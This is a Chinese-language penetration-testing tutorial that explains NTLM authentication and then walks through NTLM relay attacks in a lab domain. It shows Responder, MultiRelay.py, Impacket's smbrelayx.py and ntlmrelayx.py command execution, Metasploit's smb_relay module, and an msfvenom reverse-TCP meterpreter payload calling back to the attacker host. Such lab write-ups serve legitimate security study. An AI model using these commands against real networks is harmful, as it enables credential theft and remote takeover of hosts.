在上一篇文章中《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中,我们利用LLMNR/NetBIOS劫持成功获得了目标主机的Net-NTLM Hash。我们获得了Net-NTLM Hash后首先想到的就是爆破,但是除非你有一个强大的字典,否则你很难得到明文密码。由于Net-NTLM Hash不像NTLM-Hash,我们不能用Net-NTLM Hash来进行PTH攻击。那么还有什么办法来利用Net-NTLM Hash呢?我们不妨试一下NTLM Relay攻击。
基础知识
由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。
NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。
Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。
NTLM认证过程
1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。
如果是在域环境中,那么认证过程会经过域控制器:
4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。
服务器根据DC返回的结果,对客户端进行回复
在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。
NTLM中继攻击原理
NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。
在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。
获得Net-NTLM Relay的思路
为了重放这个Net-NTLMhash,首先我们要做的就是获取这个Net-NTLMhash。
由于SMB、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,所以只要是使用SMB、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试向攻击者发送Net-NTLMhash从而让攻击者截获用户的Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击。下面总结几个获取思路:
利用LLMNR和NetBIOS欺骗获得Net-NTLMHash
前文《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中我们讲到Windows系统名称解析顺序为:
本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS缓存/DNS服务器
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。
(对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以攻击者可以模拟SMB服务器从而截获hash)
利用WPAD劫持获得Net-NTLMHash
WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。
当你的浏览器设置为 “自动检测代理设置” 的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。
Responder可以创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。
responder -I eth0 -r on -v -F on -w on
Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。
此时,员工没有安全意识的话就会写入在域中使用的用户名和密码。 最后,我们可以看到他们的Net-NTLM Hash。
此外,我们还可以利用传统web漏洞,如XSS、文件包含等获取net-NTLM hash(传送门)。
还有就是metasploit中的auxiliary/docx/word_unc_injector
会创建一个带有unc路径
的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。
SMB Relay(SMB中继)攻击
这里我们演示SMB协议的Relay攻击,这是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。
这里主要有两种场景
详情见:https://www.anquanke.com/post/id/194069#h2-4
1.工作组环境
这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。
自从MS08-068漏洞修复之后无法再将
Net-NTLM
哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。
2.域环境
域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)
攻击演示
测试环境:
攻击机kali:192.168.52.131
windows 7:192.168.52.143
windows server (DC):192.168.52.138
windows 2003:192.168.52.141
Responder中的MultiRelayx.py
我们在进行中继之前,先用responder工具包里面的RunFinger.py脚本扫描域内机器的SMB签名的开放情况:
可以看到域内主机的 SMB 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell:
python MultiRelay.py -t <被攻击ip> -u ALL
现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off:
重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应)
此时我们在DC(192.168.52.138)上随便传递一个SMB流量:
我们看到已经拿到了 192.168.52.143 的shell :
我们就可以对进行控制了:
Impacket中的smbrelayx.py
攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。
开始实战,用 smbrelayx.py 脚本来完成任务,用-c
选项来在受害机192.168.52.143上面执行命令:
./smbrelayx.py -h <Client2 IP> -c Command
此时我们让Client1访问这个攻击者精心构造好的SMB服务器:
net use \\192.168.52.131
此时,攻击者的smbrelayx.py脚本上就会发现命令成功执行了:
在实战中,我们会提前生成了一个 Metasploit 的 payload 并放置在当前目录下,然后用-e
选项在目标主机上传并运行我们的payload
先生成一个metasploit木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe
设置好msfconsole
中exploit/multi/handler
监听:
这里要注意,我们要设置set AutoRunScript migrate
在成功得到session后自动迁移进程,如果没有自动迁移进程,那么在Removing file
的时候,会话也随之关闭了。
然后执行smbrelayx.py脚本:
随后在Windows server 2008上执行net use \\192.168.138.131\c$
来访问攻击者搭建的恶意smb服务:
此时攻击者的smbrelayx.py脚本上会有反应:
并且msfconsole上成功获得了192.168.52.143(windows 7)的会话:
Metasploit中的smb_relay模块(ms08-068)
执行exploit
运行
随后在windows 2003的cmd中执行net use \\192.168.138.131\c$
来访问攻击者搭建的恶意smb服务:
这时,攻击者msfconsole中就可以看到windows 2003反弹来的会话了:
(注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)
这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。
Impcaket中的ntlmrelayx.py
ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器
./ntlmrelayx.py -t <指定的被攻击 IP>
我们同样可以利用-c
选项来在目标主机上面执行命令:
./ntlmrelayx.py -t smb://192.168.52.143 -c whoami -smb2support
然后只要使用其他方法诱导域管理员或普通域用户访问攻击机搭建的伪造HTTP或SMB服务,并输入用户名密码:
攻击者的ntlmrelayx.py上面即可显示成功在192.168.52.143上执行命令:
但在实战中,我们也可以利用-c
选项来执行Empire生成的 powershell payload 并配合responder来进行攻击。
先用empire生成powershell的payload:
ntlmrelayx.py -t 192.168.138.134 -c '生成的powershell脚本内容'
responder同样需要关闭 responder 的 smb 和 http,然后启动:
随后在Windows 8上执行net use \\whoami
,产生任意smb流量
此时攻击者的ntlmrelayx.py脚本有了反应:
查看empire页面,已经成功获得了192.168.52.143的会话:
进入会话,可以执行命令:
Ending......
总之,这是一个拿域内主机的方法,在横向移动中利用还是挺不错的,可以直接控制域内主机,包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等。
参考:
https://mp.weixin.qq.com/s/_qnt5NVEiud3OyQmGhkfUA
https://www.freebuf.com/column/202842.html